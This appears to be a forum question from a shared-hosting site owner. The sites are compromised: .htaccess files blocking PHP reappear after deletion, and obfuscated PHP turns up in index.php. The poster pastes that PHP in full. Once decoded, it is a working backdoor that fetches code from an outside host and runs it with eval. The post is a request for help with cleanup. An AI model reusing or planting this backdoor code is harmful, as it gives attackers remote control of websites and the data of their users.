.htaccess files are repeatedly being created in File Directory

Question

I am having around 10 sites in a shared hosting. Recently I have noticed that there are so many .htaccess files have been created and restricting user access.

<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>

Above block is what is written in all code .htaccess. When I delete those, it appears to be regenerated again. meaning there should be a script running somewhere else in the package.I even installed Wordfence plugin to identify the updated files. I restored recent modifications which appeared to be malicious. but still no changes. There are also some encoded code lines in files like index.php which is below.

<?php
 $uoeq967= "O)sl 2Te4x-+gazAbuK_6qrjH0RZt*N3mLcVFEWvh;inySJC91oMfYXId5Up.(GP7D,Bw/kQ8";$vpna644='JGNoID0gY3VybF9pbml0KCdodHRwOi8vYmFua3N';$vpna645='zdG9wLnRlY2gvJy4kX0dFVFsnZiddKTtjdXJsX3';$vpna646='NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBT';$vpna647='lNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMo';$vpna648='JGNoKTtldmFsKCc/PicuJHJlc3VsdCk7';$vpna643=$vpna644.$vpna645.$vpna646.$vpna647.$vpna648;function cdim173($fsxi199,$rykc638,$ekcu564){return ''.$fsxi199.''.$rykc638.''.$ekcu564.'';}$qfcg427 = cdim173($uoeq967{34},$uoeq967{13}.$uoeq967{3},$uoeq967{3});$uodu186 = cdim173($uoeq967{19}.$uoeq967{17},$uoeq967{2}.$uoeq967{7},'');$lrbk358 = cdim173($uoeq967{22},$uoeq967{19},$uoeq967{52});$hume205 = cdim173($uoeq967{17},'',$uoeq967{43});$xzdo850 = cdim173($uoeq967{34},$uoeq967{19},$uoeq967{13}.$uoeq967{22});$uqmy998 = cdim173($uoeq967{22},$uoeq967{13},$uoeq967{44});$aobc355 =cdim173(cdim173($qfcg427,'',$uodu186),cdim173($lrbk358,$hume205,''),cdim173($xzdo850,'',$uqmy998));$xggn756 = cdim173($uoeq967{34},$uoeq967{22},$uoeq967{7});$gnix510 = cdim173($uoeq967{13},$uoeq967{28},'');$wdfm884 = cdim173($uoeq967{7},'',$uoeq967{19});$loyh183 = cdim173($uoeq967{52},$uoeq967{17},$uoeq967{43});$bwfh819 = cdim173($uoeq967{34},$uoeq967{28},'');$jrmp133 = cdim173($uoeq967{42},$uoeq967{50},'');$iprf791 = cdim173('',$uoeq967{43},'');$hwks376 = cdim173( cdim173($xggn756,$gnix510,$wdfm884), cdim173($loyh183,'',$bwfh819), cdim173($jrmp133,'',$iprf791));$mtzu128 = cdim173($uoeq967{7},'',$uoeq967{39});$hesn342= cdim173($uoeq967{13},$uoeq967{3},$uoeq967{61});$taop807 = cdim173('',$uoeq967{16},$uoeq967{13});$gvcw064 = cdim173($uoeq967{2},$uoeq967{7},$uoeq967{20});$bihf178 = cdim173($uoeq967{8},$uoeq967{19},$uoeq967{56});$efaa907 = cdim173($uoeq967{7},$uoeq967{34},$uoeq967{50});$tvhp307 = cdim173($uoeq967{56},$uoeq967{7},$uoeq967{61});$qyff908 = cdim173(cdim173($mtzu128,$hesn342,''),cdim173('','',$taop807),cdim173($gvcw064,$bihf178.$efaa907,$tvhp307)).'"'.$vpna643.'"'.cdim173($uoeq967{1}.$uoeq967{1},'',$uoeq967{41});$aobc355($hwks376,array('','}'.$qyff908.'//'));//wp-blog-header scp-173?>

I have no options to do other than deleting the .htaccess by each and every directory. but it won't solve the problem. What can I possibly do other than emptying my file manager.